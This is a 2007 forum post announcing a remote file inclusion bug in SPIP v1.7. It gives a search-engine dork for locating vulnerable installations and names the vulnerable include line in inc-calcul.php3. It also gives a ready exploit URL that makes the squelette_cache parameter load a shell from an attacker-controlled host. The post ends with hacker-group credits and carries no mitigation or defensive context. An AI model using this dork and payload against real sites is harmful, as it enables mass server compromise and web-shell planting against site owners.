Ras Posted August 24, 2007 Report Posted August 24, 2007 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SPIP v1.7 Remote File Inclusion Bug ! ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------------------------------------------------------------------------------------++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++DORK : "/SPIP-v1-7-2/"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----------------------------------------------------------------------------------++----------------------------------------------------------------------------------+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Bug in : "SPIP-v1-7r/inc-calcul.php3"++----------------------------------------------------------------------------------++ Vlu Code: -----------------------------++ || include($squelette_cache); ||++ -----------------------------++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++==================================================================================++ Exploit :++++ [url]http://sitename.com/SPIP-v1-7-2/inc-calcul.php3?squelette_cache=http://SHELLURL?[/url]++++==================================================================================+++++++++++++++++++++++|Discoverd By :Darkdewil[system-errrror]|++++++++++++++++++++++++ ++++++++++++++++++++|Conatact : system-errrror[at]hotmail[dot]com |+++++++++++++++++++++ ++++++++++++++|Thx To :Cazanova & fedaiturk & n3twork & codes & by_Ka0s |+++++++++++++++ ++++++++++++++++++++++++++|sPECial THanks to :1923turk - grup|++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Quote